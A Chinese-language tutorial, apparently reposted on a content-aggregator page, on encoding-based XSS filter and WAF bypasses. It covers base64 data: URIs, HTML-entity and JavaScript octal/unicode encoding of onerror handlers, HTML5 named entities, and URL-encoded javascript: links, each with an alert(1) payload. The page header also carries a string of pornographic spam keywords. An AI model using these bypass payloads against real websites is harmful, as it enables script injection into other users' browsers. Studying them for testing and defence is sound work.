日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XSS编码问题以及绕过

發布時間:2025/3/21 编程问答 16 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XSS编码问题以及绕过 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

常用的編碼
URL編碼: 一個百分號和該字符的ASCII編碼所對應的2位十六進制數字。
例如“/”的URL編碼為%2F
#:%23;
. :%2e;
+ :%2b;
< :%3c;
>: %3e;
!:%21;
空格:%20;
&: %26;
(:%28;
): %29;
”:%22;
’ :%27;

HTML實體編碼: 以&開頭,分號結尾的。 例如“<”的編碼是“&lt;”
HTML實體編碼(10進制與16進制)
例如“<” html十進制:&#60; html十六進制:&#x3c;

JavaScript編碼: js提供了四種字符編碼的策略

  • 三個八進制數字,如果不夠個數,前面補0,例如“<”編碼為“\074”
  • 兩個十六進制數字,如果不夠個數,前面補0,例如“<”編碼為“\x3c”
  • 四個十六進制數字,如果不夠個數,前面補0,例如“<”編碼為“\u003c”
  • 對于一些控制字符,使用特殊的C類型的轉義風格(例如\n和\r)
  • 各個編碼的具體利用場景
    (1) base64編碼
    Data協議使用方法 data:資源類型;編碼,內容
    到目前為止 遇到使用base64編碼的情況 大多數是這樣

    • <a href=“可控點”>
    • <iframe src=“可控點”>

    在這種情況下 如果過濾了<> ’ " javascript 的話 那么要xss可以這樣寫 然后利用base64編碼!

    將<img src=
    x οnerrοr=alert(1)>整條base64編碼為:
    PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==

    Data協議使用方法 data:資源類型;編碼類型,內容

    <script>alert(1)</script>
    (<img src=1 οnerrοr=alert(1)> a標簽,object,iframe不支持)
    <a href=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>111</a>
    <object data=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></object>
    (chrome不支持)
    <iframe src=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></iframe>
    (chrome,firefox支持)

    <a>標簽的利用方式

    <a href=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>test</a>

    這樣當test A鏈接點擊時 就會以data協議 頁面以html/text的方式解析 編碼為base64 然后單點
    擊a鏈接時 base64的編碼就被解碼還原成我們原本的

    <script>alert(1)</script>然后成功彈窗!

    各個編碼的具體利用場景

    (2) HTML實體編碼(十進制和十六進制)
    瀏覽器是不會在html標簽里解析js中的那些編碼的!onerror較特殊,onerror里的內容是當js解析的,因此可以用JSunicode編碼,但是不能全部編碼只能編碼函數名。如果全部編碼是會出錯的.

    如<img src=1 οnerrοr=
    “\u0061\u006c\u0065\u0072\u0074(1)”>這種可以彈窗。
    \img src=1 οnerrοr=
    “\u0061\u006c\u0065\u0072\u0074`1`”>

    onerror支持:html10,html16,jsunicode,不支持js8進制和js16進制

    HTML十進制和十六進制編碼的分號是可以去掉的。
    實體編碼的數字前可以加上很多的0進行繞過WAF,如
    如以下代碼可成功執行:

    <img src=1
    οnerrοr=
    “&#0097;&#0108&#000101&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;”>

    HTML5 新增的實體命名編碼,如
    &colon; => [冒號] &NewLine; => [換行]

    如<a href=“javasc&NewLine;ript&colon;alert(1)”>click</a>
    <a href=”javascript:alert(1)”>tan</a>

    解析器一般將工作分配給兩個組件——詞法分析器(有時也叫分詞器)負責將輸入分解為合法的符號,解析器則根據語言的語法規則分析文檔結構,從而構建解析樹,詞法分析器知道怎么跳過空白和換行之類的無關字符。
    <a href=“javasc&NewLine;ript&colon;alert(1)”>click</a>

    首先html編碼被還原出來 然后就成了換行 跟冒號
    <a href=“javascript:alert(1)”>click</a>

    為什么換行后還能夠執行 是因為瀏覽器中的解析器中詞法分析器 起的作用會跳過空白跟換行之類的無效字符。換行時必須用單雙引號圍住,否則不會跳過。跳過回車和換行,不支持on事件.
    然后就構造成了一個完整的語句
    <a href=“javascript:alert(1)”>click</a> 代碼成功執行

    各個編碼的具體利用場景

    (3) Javascript編碼
    Javascript偽協議在屬性值中都可以使用,
    如<a href=“javascript:alert(‘xss’)”>111</a>點擊111后觸發彈窗。javascript中只識別幾種編碼:Jsunicode js8進制 js16進制

    第一種情況 :
    你輸入的值存入某個變量 然后最后出現在某個能把字符串當做js代碼來執行的函數里!如:

    eval()、setTimeout()、setInterval()
    以上都是會將字符串當做js代碼執行的函數!

    第二種情況:

    var search = “可控點”;
    document.getElementById().innerHTML=search;

    以上情況很多都是出現在你搜索后 然后顯示的 你所查詢的關鍵字
    如果過濾了 <> ’ " & % 等等這些!然后再輸出到頁面上!
    按理說這樣是安全了!但是我們把輸入的值改成 js編碼,
    如 我們改成<img src=x
    οnerrοr=alert(1)>然后進行js八進制編碼 ==>\74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76然后服務器端接受后 經過過濾器 沒有發現可以過濾的就進入到了innerHTML中
    經過js的解碼 我們的代碼又還原回來了 并且注入到了網頁中!這時候代碼執行!成功彈窗!

    (4) URL編碼
    Javascript:偽協議后面可以使用URL編碼。
    如:<a href=“javascript:%61lert(1)”>click me</a>可成功執行彈窗
    可用img就不行:<img src=x
    οnerrοr=”javascript:%61lert(1)”>

    因為href屬性會跳轉到其中的URL,而會進行URL解碼.onerror屬性則只會執行JS,不跳轉
    同時后面的url編碼可以再做一次entity(HTML實體)編碼:
    <a href=“javascript:%61lert(1)”>click me</a>

    總結

    以上是生活随笔為你收集整理的XSS编码问题以及绕过的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。